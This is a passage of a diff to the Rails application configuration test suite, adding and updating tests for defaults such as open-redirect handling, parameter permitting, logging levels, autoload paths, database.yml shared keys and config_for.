       add_to_config <<-RUBY
         config.action_mailer.deliver_later_queue_name = 'test_default'
       RUBY
@@ -875,7 +1420,30 @@ def index
       require "mail"
       _ = ActionMailer::Base
 
-      assert_equal "test_default", ActionMailer::Base.class_variable_get(:@@deliver_later_queue_name)
+      assert_equal "test_default", ActionMailer::Base.deliver_later_queue_name
+    end
+
+    test "ActionMailer::DeliveryJob queue name is :mailers without the Rails defaults" do
+      remove_from_config '.*config\.load_defaults.*\n'
+
+      app "development"
+
+      require "mail"
+      _ = ActionMailer::Base
+
+      assert_equal :mailers, ActionMailer::Base.deliver_later_queue_name
+    end
+
+    test "ActionMailer::DeliveryJob queue name is nil by default in 6.1" do
+      remove_from_config '.*config\.load_defaults.*\n'
+      add_to_config 'config.load_defaults "6.1"'
+
+      app "development"
+
+      require "mail"
+      _ = ActionMailer::Base
+
+      assert_nil ActionMailer::Base.deliver_later_queue_name
     end
 
     test "valid timezone is setup correctly" do
@@ -922,8 +1490,21 @@ def index
       end
     end
 
-    test "config.action_view.cache_template_loading with cache_classes default" do
-      add_to_config "config.cache_classes = true"
+    test "autoloaders" do
+      app "development"
+
+      assert_predicate Rails.autoloaders, :zeitwerk_enabled?
+      assert_instance_of Zeitwerk::Loader, Rails.autoloaders.main
+      assert_equal "rails.main", Rails.autoloaders.main.tag
+      assert_instance_of Zeitwerk::Loader, Rails.autoloaders.once
+      assert_equal "rails.once", Rails.autoloaders.once.tag
+      assert_equal [Rails.autoloaders.main, Rails.autoloaders.once], Rails.autoloaders.to_a
+      assert_equal Rails::Autoloaders::Inflector, Rails.autoloaders.main.inflector
+      assert_equal Rails::Autoloaders::Inflector, Rails.autoloaders.once.inflector
+    end
+
+    test "config.action_view.cache_template_loading with config.enable_reloading default" do
+      add_to_config "config.enable_reloading = false"
 
       app "development"
       require "action_view/base"
@@ -931,8 +1512,8 @@ def index
       assert_equal true, ActionView::Resolver.caching?
     end
 
-    test "config.action_view.cache_template_loading without cache_classes default" do
-      add_to_config "config.cache_classes = false"
+    test "config.action_view.cache_template_loading without config.enable_reloading default" do
+      add_to_config "config.enable_reloading = true"
 
       app "development"
       require "action_view/base"
@@ -942,7 +1523,7 @@ def index
 
     test "config.action_view.cache_template_loading = false" do
       add_to_config <<-RUBY
-        config.cache_classes = true
+        config.enable_reloading = false
         config.action_view.cache_template_loading = false
       RUBY
 
@@ -954,7 +1535,7 @@ def index
 
     test "config.action_view.cache_template_loading = true" do
       add_to_config <<-RUBY
-        config.cache_classes = false
+        config.enable_reloading = true
         config.action_view.cache_template_loading = true
       RUBY
 
@@ -964,9 +1545,9 @@ def index
       assert_equal true, ActionView::Resolver.caching?
     end
 
-    test "config.action_view.cache_template_loading with cache_classes in an environment" do
+    test "config.action_view.cache_template_loading with config.enable_reloading in an environment" do
       build_app(initializers: true)
-      add_to_env_config "development", "config.cache_classes = false"
+      add_to_env_config "development", "config.enable_reloading = true"
 
       # These requires are to emulate an engine loading Action View before the application
       require "action_view"
@@ -978,9 +1559,63 @@ def index
       assert_equal false, ActionView::Resolver.caching?
     end
 
+    test "ActionController::Base::renderer uses Rails.application.default_url_options and config.force_ssl" do
+      add_to_config <<~RUBY
+        config.force_ssl = true
+
+        Rails.application.default_url_options = {
+          host: "foo.example.com",
+          port: 9001,
+          script_name: "/bar",
+        }
+
+        routes.prepend do
+          resources :posts
+        end
+      RUBY
+
+      app "development"
+
+      posts_url = ApplicationController.renderer.render(inline: "<%= posts_url %>")
+      assert_equal "https://foo.example.com:9001/bar/posts", posts_url
+    end
+
+    test "ActionController::Base.raise_on_open_redirects is false by default for upgraded apps" do
+      remove_from_config '.*config\.load_defaults.*\n'
+      add_to_config 'config.load_defaults "6.1"'
+      app "development"
+
+      assert_equal false, ActionController::Base.raise_on_open_redirects
+    end
+
+    test "ActionController::Base.raise_on_open_redirects can be configured in the new framework defaults" do
+      remove_from_config '.*config\.load_defaults.*\n'
+
+      app_file "config/initializers/new_framework_defaults_6_2.rb", <<-RUBY
+        Rails.application.config.action_controller.raise_on_open_redirects = true
+      RUBY
+
+      app "development"
+
+      assert_equal true, ActionController::Base.raise_on_open_redirects
+    end
+
+    test "ActionController::Base.action_on_open_redirect is :raise by default for new apps" do
+      app "development"
+
+      assert_equal :raise, ActionController::Base.action_on_open_redirect
+    end
+
+    test "ActionController::Base.action_on_open_redirect is :log when raise_on_open_redirects is false" do
+      add_to_config "config.action_controller.raise_on_open_redirects = false"
+      app "development"
+
+      assert_equal :log, ActionController::Base.action_on_open_redirect
+    end
+
     test "config.action_dispatch.show_exceptions is sent in env" do
       make_basic_app do |application|
-        application.config.action_dispatch.show_exceptions = true
+        application.config.action_dispatch.show_exceptions = :all
       end
 
       class ::OmgController < ActionController::Base
@@ -990,7 +1625,7 @@ def index
       end
 
       get "/"
-      assert_equal "true", last_response.body
+      assert_equal "all", last_response.body
     end
 
     test "config.action_controller.wrap_parameters is set in ActionController::Base" do
@@ -1029,7 +1664,7 @@ def create
       app "development"
 
       post "/posts.json", '{ "title": "foo", "name": "bar" }', "CONTENT_TYPE" => "application/json"
-      assert_equal '<ActionController::Parameters {"title"=>"foo"} permitted: false>', last_response.body
+      assert_equal "#<ActionController::Parameters #{{ "title" => "foo" }} permitted: false>", last_response.body
     end
 
     test "config.action_controller.permit_all_parameters = true" do
@@ -1058,7 +1693,7 @@ def create
       app_file "app/controllers/posts_controller.rb", <<-RUBY
       class PostsController < ActionController::Base
         def create
-          render plain: params.require(:post).permit(:name)
+          render plain: params.permit(post: [:name])
         end
       end
       RUBY
@@ -1072,14 +1707,48 @@ def create
 
       app "development"
 
+      require "action_controller/base"
+      require "action_controller/api"
+
       assert_equal :raise, ActionController::Parameters.action_on_unpermitted_parameters
 
       post "/posts", post: { "title" => "zomg" }
       assert_match "We're sorry, but something went wrong", last_response.body
     end
 
+    test "config.action_controller.action_on_unpermitted_parameters = :raise is ignored with expect" do
+      app_file "app/controllers/posts_controller.rb", <<-RUBY
+      class PostsController < ActionController::Base
+        def create
+          render plain: params.expect(post: [:name])
+        end
+      end
+      RUBY
+
+      add_to_config <<-RUBY
+        routes.prepend do
+          resources :posts
+        end
+        config.action_controller.action_on_unpermitted_parameters = :raise
+      RUBY
+
+      app "development"
+
+      require "action_controller/base"
+      require "action_controller/api"
+
+      assert_equal :raise, ActionController::Parameters.action_on_unpermitted_parameters
+
+      post "/posts", post: { "title" => "zomg" }
+      assert_match "The server cannot process the request due to a client error", last_response.body
+    end
+
     test "config.action_controller.always_permitted_parameters are: controller, action by default" do
       app "development"
+
+      require "action_controller/base"
+      require "action_controller/api"
+
       assert_equal %w(controller action), ActionController::Parameters.always_permitted_parameters
     end
 
@@ -1090,6 +1759,9 @@ def create
 
       app "development"
 
+      require "action_controller/base"
+      require "action_controller/api"
+
       assert_equal %w( controller action format ), ActionController::Parameters.always_permitted_parameters
     end
 
@@ -1112,30 +1784,87 @@ def create
 
       app "development"
 
+      require "action_controller/base"
+      require "action_controller/api"
+
       assert_equal :raise, ActionController::Parameters.action_on_unpermitted_parameters
 
       post "/posts", post: { "title" => "zomg" }, format: "json"
       assert_equal 200, last_response.status
     end
 
-    test "config.action_controller.action_on_unpermitted_parameters is :log by default on development" do
+    test "config.action_controller.action_on_unpermitted_parameters is :log by default in development" do
       app "development"
 
+      require "action_controller/base"
+      require "action_controller/api"
+
       assert_equal :log, ActionController::Parameters.action_on_unpermitted_parameters
     end
 
-    test "config.action_controller.action_on_unpermitted_parameters is :log by default on test" do
+    test "config.action_controller.action_on_unpermitted_parameters is :log by default in test" do
       app "test"
 
+      require "action_controller/base"
+      require "action_controller/api"
+
       assert_equal :log, ActionController::Parameters.action_on_unpermitted_parameters
     end
 
-    test "config.action_controller.action_on_unpermitted_parameters is false by default on production" do
+    test "config.action_controller.action_on_unpermitted_parameters is false by default in production" do
       app "production"
 
+      require "action_controller/base"
+      require "action_controller/api"
+
       assert_equal false, ActionController::Parameters.action_on_unpermitted_parameters
     end
 
+    test "config.action_controller.default_protect_from_forgery is true by default" do
+      app "development"
+
+      assert_includes ActionController::Base.__callbacks[:process_action].map(&:filter), :verify_request_for_forgery_protection
+    end
+
+    test "config.action_controller.permit_all_parameters can be configured in an initializer" do
+      app_file "config/initializers/permit_all_parameters.rb", <<-RUBY
+        Rails.application.config.action_controller.permit_all_parameters = true
+      RUBY
+
+      app "development"
+
+      require "action_controller/base"
+      require "action_controller/api"
+
+      assert_equal true, ActionController::Parameters.permit_all_parameters
+    end
+
+    test "config.action_controller.always_permitted_parameters can be configured in an initializer" do
+      app_file "config/initializers/always_permitted_parameters.rb", <<-RUBY
+        Rails.application.config.action_controller.always_permitted_parameters = []
+      RUBY
+
+      app "development"
+
+      require "action_controller/base"
+      require "action_controller/api"
+
+      assert_equal [], ActionController::Parameters.always_permitted_parameters
+    end
+
+    test "config.action_controller.action_on_unpermitted_parameters can be configured in an initializer" do
+      app_file "config/initializers/action_on_unpermitted_parameters.rb", <<-RUBY
+        Rails.application.config.action_controller.action_on_unpermitted_parameters = :raise
+      RUBY
+
+      app "development"
+
+      require "action_controller/base"
+      require "action_controller/api"
+
+      assert_equal :raise, ActionController::Parameters.action_on_unpermitted_parameters
+    end
+
     test "config.action_dispatch.ignore_accept_header" do
       make_basic_app do |application|
         application.config.action_dispatch.ignore_accept_header = true
@@ -1150,22 +1879,21 @@ def index
         end
       end
 
-      get "/", {}, "HTTP_ACCEPT" => "application/xml"
+      get "/", {}, { "HTTP_ACCEPT" => "application/xml" }
       assert_equal "HTML", last_response.body
 
-      get "/", { format: :xml }, "HTTP_ACCEPT" => "application/xml"
+      get "/", { format: :xml }, { "HTTP_ACCEPT" => "application/xml" }
       assert_equal "XML", last_response.body
     end
 
-    test "Rails.application#env_config exists and include some existing parameters" do
+    test "Rails.application#env_config exists and includes some existing parameters" do
       make_basic_app
 
-      assert_respond_to app, :env_config
-      assert_equal      app.env_config["action_dispatch.parameter_filter"],  app.config.filter_parameters
-      assert_equal      app.env_config["action_dispatch.show_exceptions"],   app.config.action_dispatch.show_exceptions
-      assert_equal      app.env_config["action_dispatch.logger"],            Rails.logger
-      assert_equal      app.env_config["action_dispatch.backtrace_cleaner"], Rails.backtrace_cleaner
-      assert_equal      app.env_config["action_dispatch.key_generator"],     Rails.application.key_generator
+      assert_equal app.env_config["action_dispatch.parameter_filter"],  app.config.filter_parameters
+      assert_equal app.env_config["action_dispatch.show_exceptions"],   app.config.action_dispatch.show_exceptions
+      assert_equal app.env_config["action_dispatch.logger"],            Rails.logger
+      assert_equal app.env_config["action_dispatch.backtrace_cleaner"], Rails.backtrace_cleaner
+      assert_equal app.env_config["action_dispatch.key_generator"],     Rails.application.key_generator
     end
 
     test "config.colorize_logging default is true" do
@@ -1173,24 +1901,25 @@ def index
       assert app.config.colorize_logging
     end
 
-    test "config.session_store with :active_record_store with activerecord-session_store gem" do
-      begin
+    test "config.session_store with custom custom stores search for it inside the ActionDispatch::Session namespace" do
+      assert_nothing_raised do
         make_basic_app do |application|
-          ActionDispatch::Session::ActiveRecordStore = Class.new(ActionDispatch::Session::CookieStore)
-          application.config.session_store :active_record_store
+          ActionDispatch::Session::MyCustomStore = Class.new(ActionDispatch::Session::CookieStore)
+          application.config.session_store :my_custom_store
         end
-      ensure
-        ActionDispatch::Session.send :remove_const, :ActiveRecordStore
       end
+    ensure
+      ActionDispatch::Session.send :remove_const, :MyCustomStore
     end
 
-    test "config.session_store with :active_record_store without activerecord-session_store gem" do
+    test "config.session_store with unknown store raises helpful error" do
       e = assert_raise RuntimeError do
         make_basic_app do |application|
-          application.config.session_store :active_record_store
+          application.config.session_store :unknown_store
         end
       end
-      assert_match(/activerecord-session_store/, e.message)
+
+      assert_match(/Unable to resolve session store :unknown_store/, e.message)
     end
 
     test "default session store initializer does not overwrite the user defined session store even if it is disabled" do
@@ -1206,21 +1935,91 @@ def index
       make_basic_app
 
       assert_equal ActionDispatch::Session::CookieStore, app.config.session_store
-      assert_equal session_options, app.config.session_options
+      session_options.each do |key, value|
+        assert_equal value, app.config.session_options[key]
+      end
+    end
+
+    test "config.log_level defaults to debug in development" do
+      restore_default_config
+      app "development"
+
+      assert_equal Logger::DEBUG, Rails.logger.level
+    end
+
+    test "config.log_level default to info in production" do
+      restore_default_config
+      app "production"
+
+      assert_equal Logger::INFO, Rails.logger.level
+    end
+
+    test "config.log_level can be overwritten by ENV['RAILS_LOG_LEVEL'] in production" do
+      restore_default_config
+
+      switch_env "RAILS_LOG_LEVEL", "debug" do
+        app "production"
+        assert_equal Logger::DEBUG, Rails.logger.level
+      end
     end
 
     test "config.log_level with custom logger" do
       make_basic_app do |application|
         application.config.logger = Logger.new(STDOUT)
-        application.config.log_level = :info
+        application.config.log_level = :debug
       end
-      assert_equal Logger::INFO, Rails.logger.level
+      assert_equal Logger::DEBUG, Rails.logger.level
+    end
+
+    test "config.log_level does not override the level of the broadcast with the default value" do
+      add_to_config <<-RUBY
+        stdout = Logger.new(STDOUT, level: Logger::INFO)
+        stderr = Logger.new(STDERR, level: Logger::ERROR)
+        config.logger = ActiveSupport::BroadcastLogger.new(stdout, stderr)
+      RUBY
+
+      app "development"
+
+      assert_equal([Logger::INFO, Logger::ERROR], Rails.logger.broadcasts.map(&:level))
+    end
+
+    test "config.log_level overrides the level of the broadcast when a custom value is set" do
+      add_to_config <<-RUBY
+        stdout = Logger.new(STDOUT)
+        stderr = Logger.new(STDERR)
+        config.logger = ActiveSupport::BroadcastLogger.new(stdout, stderr)
+        config.log_level = :warn
+      RUBY
+
+      app "development"
+
+      assert_equal([Logger::WARN, Logger::WARN], Rails.logger.broadcasts.map(&:level))
+    end
+
+    test "config.logger when logger is already a Broadcast Logger" do
+      logger = ActiveSupport::BroadcastLogger.new
+
+      make_basic_app do |application|
+        application.config.logger = logger
+      end
+      assert_same(logger, Rails.logger)
+    end
+
+    test "config.logger when logger is not a Broadcast Logger" do
+      logger = Logger.new(STDOUT)
+
+      make_basic_app do |application|
+        application.config.logger = logger
+      end
+
+      assert_instance_of(ActiveSupport::BroadcastLogger, Rails.logger)
+      assert_includes(Rails.logger.broadcasts, logger)
     end
 
     test "respond_to? accepts include_private" do
       make_basic_app
 
-      assert_not Rails.configuration.respond_to?(:method_missing)
+      assert_not_respond_to Rails.configuration, :method_missing
       assert Rails.configuration.respond_to?(:method_missing, true)
     end
 
@@ -1229,13 +2028,68 @@ def index
 
       app "production"
 
-      assert_not ActiveRecord::Base.dump_schema_after_migration
+      assert_not ActiveRecord.dump_schema_after_migration
+    end
+
+    test "config.active_record.dump_schema_after_migration is true by default in development" do
+      app "development"
+
+      assert ActiveRecord.dump_schema_after_migration
     end
 
-    test "config.active_record.dump_schema_after_migration is true by default on development" do
+    test "config.active_record.verbose_query_logs is false by default in development" do
       app "development"
 
-      assert ActiveRecord::Base.dump_schema_after_migration
+      assert_not ActiveRecord.verbose_query_logs
+    end
+
+    test "config.active_record.use_yaml_unsafe_load is false by default" do
+      app "production"
+      assert_not ActiveRecord.use_yaml_unsafe_load
+    end
+
+    test "config.active_record.use_yaml_unsafe_load can be configured" do
+      remove_from_config '.*config\.load_defaults.*\n'
+
+      app_file "config/initializers/use_yaml_unsafe_load.rb", <<-RUBY
+        Rails.application.config.active_record.use_yaml_unsafe_load = true
+      RUBY
+
+      app "production"
+      assert ActiveRecord.use_yaml_unsafe_load
+    end
+
+    test "config.active_record.raise_int_wider_than_64bit is true by default" do
+      app "production"
+      assert ActiveRecord.raise_int_wider_than_64bit
+    end
+
+    test "config.active_record.raise_int_wider_than_64bit can be configured" do
+      remove_from_config '.*config\.load_defaults.*\n'
+
+      app_file "config/initializers/dont_raise.rb", <<-RUBY
+        Rails.application.config.active_record.raise_int_wider_than_64bit = false
+      RUBY
+
+      app "production"
+      assert_not ActiveRecord.raise_int_wider_than_64bit
+    end
+
+
+    test "config.active_record.yaml_column_permitted_classes is [Symbol] by default" do
+      app "production"
+      assert_equal([Symbol], ActiveRecord.yaml_column_permitted_classes)
+    end
+
+    test "config.active_record.yaml_column_permitted_classes can be configured" do
+      remove_from_config '.*config\.load_defaults.*\n'
+
+      app_file "config/initializers/yaml_permitted_classes.rb", <<-RUBY
+        Rails.application.config.active_record.yaml_column_permitted_classes = [Symbol, Time]
+      RUBY
+
+      app "production"
+      assert_equal([Symbol, Time], ActiveRecord.yaml_column_permitted_classes)
     end
 
     test "config.annotations wrapping SourceAnnotationExtractor::Annotation class" do
@@ -1245,7 +2099,32 @@ def index
         end
       end
 
-      assert_not_nil SourceAnnotationExtractor::Annotation.extensions[/\.(coffee)$/]
+      assert_not_nil Rails::SourceAnnotationExtractor::Annotation.extensions[/\.(coffee)$/]
+    end
+
+    test "config.default_log_file returns a File instance" do
+      app "development"
+
+      assert_instance_of File, app.config.default_log_file
+      assert_equal Rails.application.config.paths["log"].first, app.config.default_log_file.path
+    end
+
+    test "config.log_file_size returns a 100MB size number in development" do
+      app "development"
+
+      assert_equal 100.megabytes, app.config.log_file_size
+    end
+
+    test "config.log_file_size returns a 100MB size number in test" do
+      app "test"
+
+      assert_equal 100.megabytes, app.config.log_file_size
+    end
+
+    test "config.log_file_size returns no limit in production" do
+      app "production"
+
+      assert_nil app.config.log_file_size
     end
 
     test "rake_tasks block works at instance level" do
@@ -1338,128 +2217,407 @@ def index
       assert_kind_of Hash, Rails.application.config.database_configuration
     end
 
-    test "raises with proper error message if no database configuration found" do
-      FileUtils.rm("#{app_path}/config/database.yml")
+    test "autoload paths do not include asset paths" do
       app "development"
-      err = assert_raises RuntimeError do
-        Rails.application.config.database_configuration
+      ActiveSupport::Dependencies.autoload_paths.each do |path|
+        assert_not_operator path, :end_with?, "app/assets"
+        assert_not_operator path, :end_with?, "app/javascript"
       end
-      assert_match "config/database", err.message
     end
 
-    test "config.action_mailer.show_previews defaults to true in development" do
+    test "autoload paths do not include custom config.javascript_paths" do
+      # The config.javascript_path assignment has to be in place before
+      # config.paths is accessed, since their compilation uses the value.
+      add_to_top_of_config "config.javascript_path = 'webpack'"
+      app_dir("app/webpack")
+
       app "development"
 
-      assert Rails.application.config.action_mailer.show_previews
+      ActiveSupport::Dependencies.autoload_paths.each do |path|
+        assert_not_operator path, :end_with?, "app/assets"
+        assert_not_operator path, :end_with?, "app/webpack"
+      end
     end
 
-    test "config.action_mailer.show_previews defaults to false in production" do
-      app "production"
+    test "autoload paths are not added to $LOAD_PATH if opted-in" do
+      add_to_config "config.add_autoload_paths_to_load_path = true"
+      app "development"
 
-      assert_equal false, Rails.application.config.action_mailer.show_previews
+      # Action Mailer modifies AS::Dependencies.autoload_paths in-place.
+      autoload_paths = ActiveSupport::Dependencies.autoload_paths
+      autoload_paths_from_app_and_engines = autoload_paths.reject do |path|
+        path.end_with?("mailers/previews")
+      end
+      assert_equal true, Rails.configuration.add_autoload_paths_to_load_path
+      assert_empty autoload_paths_from_app_and_engines - $LOAD_PATH
+
+      # Precondition, ensure we are testing something next.
+      assert_not_empty Rails.configuration.paths.load_paths
+      assert_empty Rails.configuration.paths.load_paths - $LOAD_PATH
     end
 
-    test "config.action_mailer.show_previews can be set in the configuration file" do
-      add_to_config <<-RUBY
-        config.action_mailer.show_previews = true
-      RUBY
+    test "autoload paths are not added to $LOAD_PATH by default, except for lib" do
+      app "development"
 
-      app "production"
+      assert_equal ["#{app_path}/lib"], ActiveSupport::Dependencies.autoload_paths & $LOAD_PATH
 
-      assert_equal true, Rails.application.config.action_mailer.show_previews
+      # Precondition, ensure we are testing something next.
+      assert_not_empty Rails.configuration.paths.load_paths
+      assert_empty Rails.configuration.paths.load_paths - $LOAD_PATH
     end
 
-    test "config_for loads custom configuration from yaml files" do
-      app_file "config/custom.yml", <<-RUBY
-      development:
-        key: 'custom key'
-      RUBY
+    test "lib is added to $LOAD_PATH regardless of config.add_autoload_paths_to_load_path" do
+      # Like Rails::Application.add_lib_to_load_path! does.
+      lib = File.join(app_path, "lib")
 
-      add_to_config <<-RUBY
-        config.my_custom_config = config_for('custom')
-      RUBY
+      add_to_config "config.autoload_paths << '#{lib}'"
 
       app "development"
 
-      assert_equal "custom key", Rails.application.config.my_custom_config["key"]
+      assert_not Rails.configuration.add_autoload_paths_to_load_path # precondition
+      assert_includes $LOAD_PATH, lib
     end
 
-    test "config_for uses the Pathname object if it is provided" do
-      app_file "config/custom.yml", <<-RUBY
-      development:
-        key: 'custom key'
-      RUBY
-
-      add_to_config <<-RUBY
-        config.my_custom_config = config_for(Pathname.new(Rails.root.join("config/custom.yml")))
-      RUBY
+    test "config.autoload_lib(...) is generated by default" do
+      app_file "lib/x.rb", "X = true"
+      app_file "lib/m/x.rb", "M::X = true"
+      app_file "lib/assets/x.rb", "Assets::X = true"
+      app_file "lib/tasks/x.rb", "Tasks::X = true"
 
       app "development"
 
-      assert_equal "custom key", Rails.application.config.my_custom_config["key"]
-    end
-
-    test "config_for raises an exception if the file does not exist" do
-      add_to_config <<-RUBY
-        config.my_custom_config = config_for('custom')
-      RUBY
-
-      exception = assert_raises(RuntimeError) do
-        app "development"
-      end
+      assert_includes Rails.application.config.autoload_paths, "#{app_path}/lib"
+      assert_includes Rails.application.config.eager_load_paths, "#{app_path}/lib"
 
-      assert_equal "Could not load configuration. No such file - #{app_path}/config/custom.yml", exception.message
+      assert X
+      assert M::X
+      assert_raises(NameError) { Assets }
+      assert_raises(NameError) { Tasks }
     end
 
-    test "config_for without the environment configured returns an empty hash" do
-      app_file "config/custom.yml", <<-RUBY
-      test:
-        key: 'custom key'
-      RUBY
+    test "autoload paths can be set in the config file of the environment" do
+      app_dir "custom_autoload_path"
+      app_dir "custom_autoload_once_path"
+      app_dir "custom_eager_load_path"
 
-      add_to_config <<-RUBY
-        config.my_custom_config = config_for('custom')
+      restore_default_config
+      add_to_env_config "development", <<-RUBY
+        config.autoload_paths      << "#{app_path}/custom_autoload_path"
+        config.autoload_once_paths << "#{app_path}/custom_autoload_once_path"
+        config.eager_load_paths    << "#{app_path}/custom_eager_load_path"
       RUBY
 
       app "development"
 
-      assert_equal({}, Rails.application.config.my_custom_config)
+      Rails.application.config.tap do |config|
+        assert_includes config.autoload_paths, "#{app_path}/custom_autoload_path"
+        assert_includes config.autoload_once_paths, "#{app_path}/custom_autoload_once_path"
+        assert_includes config.eager_load_paths, "#{app_path}/custom_eager_load_path"
+      end
     end
 
-    test "config_for with empty file returns an empty hash" do
-      app_file "config/custom.yml", <<-RUBY
-      RUBY
+    [%w(autoload_lib autoload_paths), %w(autoload_lib_once autoload_once_paths)].each do |method_name, paths|
+      test "config.#{method_name} adds lib to the expected paths (array ignore)" do
+        app_file "lib/x.rb", "X = true"
+        app_file "lib/tasks/x.rb", "Tasks::X = true"
+        app_file "lib/generators/x.rb", "Generators::X = true"
 
-      add_to_config <<-RUBY
-        config.my_custom_config = config_for('custom')
-      RUBY
+        remove_from_config "config\\.#{method_name}.*"
+        add_to_config "config.#{method_name}(ignore: %w(tasks generators))"
 
-      app "development"
+        app "development"
 
-      assert_equal({}, Rails.application.config.my_custom_config)
-    end
+        Rails.application.config.tap do |config|
+          assert_includes config.send(paths), "#{app_path}/lib"
+          assert_includes config.eager_load_paths, "#{app_path}/lib"
+        end
 
-    test "config_for containing ERB tags should evaluate" do
-      app_file "config/custom.yml", <<-RUBY
-      development:
-        key: <%= 'custom key' %>
-      RUBY
+        assert X
+        assert_raises(NameError) { Tasks }
+        assert_raises(NameError) { Generators }
+      end
+
+      test "config.#{method_name} adds lib to the expected paths (empty array ignore)" do
+        app_file "lib/x.rb", "X = true"
+        app_file "lib/tasks/x.rb", "Tasks::X = true"
+
+        remove_from_config "config\\.#{method_name}.*"
+        add_to_config "config.#{method_name}(ignore: [])"
+
+        app "development"
+
+        Rails.application.config.tap do |config|
+          assert_includes config.send(paths), "#{app_path}/lib"
+          assert_includes config.eager_load_paths, "#{app_path}/lib"
+        end
+
+        assert X
+        assert Tasks::X
+      end
+
+      test "config.#{method_name} adds lib to the expected paths (scalar ignore)" do
+        app_file "lib/x.rb", "X = true"
+        app_file "lib/tasks/x.rb", "Tasks::X = true"
+
+        remove_from_config "config\\.#{method_name}.*"
+        add_to_config "config.#{method_name}(ignore: 'tasks')"
+
+        app "development"
+
+        Rails.application.config.tap do |config|
+          assert_includes config.send(paths), "#{app_path}/lib"
+          assert_includes config.eager_load_paths, "#{app_path}/lib"
+        end
+
+        assert X
+        assert_raises(NameError) { Tasks }
+      end
+
+      test "config.#{method_name} adds lib to the expected paths (nil ignore)" do
+        app_file "lib/x.rb", "X = true"
+        app_file "lib/tasks/x.rb", "Tasks::X = true"
+
+        remove_from_config "config\\.#{method_name}.*"
+        add_to_config "config.#{method_name}(ignore: nil)"
+
+        app "development"
+
+        Rails.application.config.tap do |config|
+          assert_includes config.send(paths), "#{app_path}/lib"
+          assert_includes config.eager_load_paths, "#{app_path}/lib"
+        end
+
+        assert X
+        assert Tasks::X
+      end
+    end
+
+    test "load_database_yaml returns blank hash if configuration file is blank" do
+      app_file "config/database.yml", ""
+      app "development"
+      assert_equal({}, Rails.application.config.load_database_yaml)
+    end
+
+    test "load_database_yaml returns blank hash if no database configuration is found" do
+      remove_file "config/database.yml"
+      app "development"
+      assert_equal({}, Rails.application.config.load_database_yaml)
+    end
+
+    test "setup_initial_database_yaml does not print a warning" do
+      app_file "config/database.yml", <<-YAML
+        <%= Rails.env %>:
+          username: bobby
+          adapter: sqlite3
+          database: 'dev_db'
+      YAML
+      app "development"
+
+      assert_silent do
+        ActiveRecord::Tasks::DatabaseTasks.setup_initial_database_yaml
+      end
+    end
+
+    test "raises with proper error message if no database configuration found" do
+      FileUtils.rm("#{app_path}/config/database.yml")
+      err = assert_raises RuntimeError do
+        app "development"
+        Rails.application.config.database_configuration
+      end
+      assert_match "config/database", err.message
+    end
+
+    test "loads database.yml using shared keys" do
+      app_file "config/database.yml", <<-YAML
+        shared:
+          username: bobby
+          adapter: sqlite3
+
+        development:
+          database: 'dev_db'
+      YAML
+
+      app "development"
+
+      ar_config = Rails.application.config.database_configuration
+      assert_equal "sqlite3", ar_config["development"]["adapter"]
+      assert_equal "bobby",   ar_config["development"]["username"]
+      assert_equal "dev_db",  ar_config["development"]["database"]
+    end
+
+    test "loads database.yml using shared keys for undefined environments" do
+      app_file "config/database.yml", <<-YAML
+        shared:
+          username: bobby
+          adapter: sqlite3
+          database: 'dev_db'
+      YAML
+
+      app "development"
 
+      ar_config = Rails.application.config.database_configuration
+      assert_equal "sqlite3", ar_config["development"]["adapter"]
+      assert_equal "bobby",   ar_config["development"]["username"]
+      assert_equal "dev_db",  ar_config["development"]["database"]
+    end
+
+    test "loads database.yml using shared keys with a 3-tier config" do
+      app_file "config/database.yml", <<-YAML
+        shared:
+          username: bobby
+          adapter: sqlite3
+
+        development:
+          primary:
+            database: 'dev_db'
+      YAML
+
+      app "development"
+
+      ar_config = Rails.application.config.database_configuration
+      assert_equal "sqlite3", ar_config["development"]["primary"]["adapter"]
+      assert_equal "bobby",   ar_config["development"]["primary"]["username"]
+      assert_equal "dev_db",  ar_config["development"]["primary"]["database"]
+    end
+
+    test "loads database.yml using 3-tier shared keys with a 3-tier config" do
+      app_file "config/database.yml", <<-YAML
+        shared:
+          one:
+            migrations_path: "db/one"
+          two:
+            migrations_path: "db/two"
+
+        development:
+          one:
+            adapter: sqlite3
+          two:
+            adapter: sqlite3
+      YAML
+
+      app "development"
+
+      ar_config = Rails.configuration.database_configuration
+      assert_equal "db/one", ar_config["development"]["one"]["migrations_path"]
+      assert_equal "db/two", ar_config["development"]["two"]["migrations_path"]
+    end
+
+    test "config.action_mailer.show_previews defaults to true in development" do
+      app "development"
+
+      assert Rails.application.config.action_mailer.show_previews
+    end
+
+    test "config.action_mailer.show_previews defaults to false in production" do
+      app "production"
+
+      assert_equal false, Rails.application.config.action_mailer.show_previews
+    end
+
+    test "config.action_mailer.show_previews can be set in the configuration file" do
       add_to_config <<-RUBY
-        config.my_custom_config = config_for('custom')
+        config.action_mailer.show_previews = true
+      RUBY
+
+      app "production"
+
+      assert_equal true, Rails.application.config.action_mailer.show_previews
+    end
+
+    test "config_for loads custom configuration from YAML accessible as symbol or string" do
+      set_custom_config <<~RUBY
+        development:
+          foo: "bar"
       RUBY
 
       app "development"
 
-      assert_equal "custom key", Rails.application.config.my_custom_config["key"]
+      assert_equal "bar", Rails.application.config.my_custom_config[:foo]
+      assert_equal "bar", Rails.application.config.my_custom_config["foo"]
     end
 
-    test "config_for with syntax error show a more descriptive exception" do
-      app_file "config/custom.yml", <<-RUBY
-      development:
-        key: foo:
+    test "config_for loads nested custom configuration from YAML as symbol keys" do
+      set_custom_config <<~RUBY
+        development:
+          foo:
+            bar:
+              baz: 1
+      RUBY
+
+      app "development"
+
+      assert_equal 1, Rails.application.config.my_custom_config[:foo][:bar][:baz]
+    end
+
+    test "config_for makes all hash methods available" do
+      set_custom_config <<~RUBY
+        development:
+          foo: 0
+          bar:
+            baz: 1
+      RUBY
+
+      app "development"
+
+      actual = Rails.application.config.my_custom_config
+      assert_equal({ foo: 0, bar: { baz: 1 } }, actual)
+      assert_equal([ :foo, :bar ], actual.keys)
+      assert_equal([ 0, baz: 1], actual.values)
+      assert_equal({ foo: 0, bar: { baz: 1 } }, actual.to_h)
+      assert_equal(0, actual[:foo])
+      assert_equal({ baz: 1 }, actual[:bar])
+    end
+
+    test "config_for does not assume config is a hash" do
+      set_custom_config <<~RUBY
+        development:
+          - foo
+          - bar
+      RUBY
+
+      app "development"
+
+      assert_equal %w( foo bar ), Rails.application.config.my_custom_config
+    end
+
+    test "config_for works with only a shared root array" do
+      set_custom_config <<~RUBY
+        shared:
+          - foo
+          - bar
+      RUBY
+
+      app "development"
+
+      assert_equal %w( foo bar ), Rails.application.config.my_custom_config
+    end
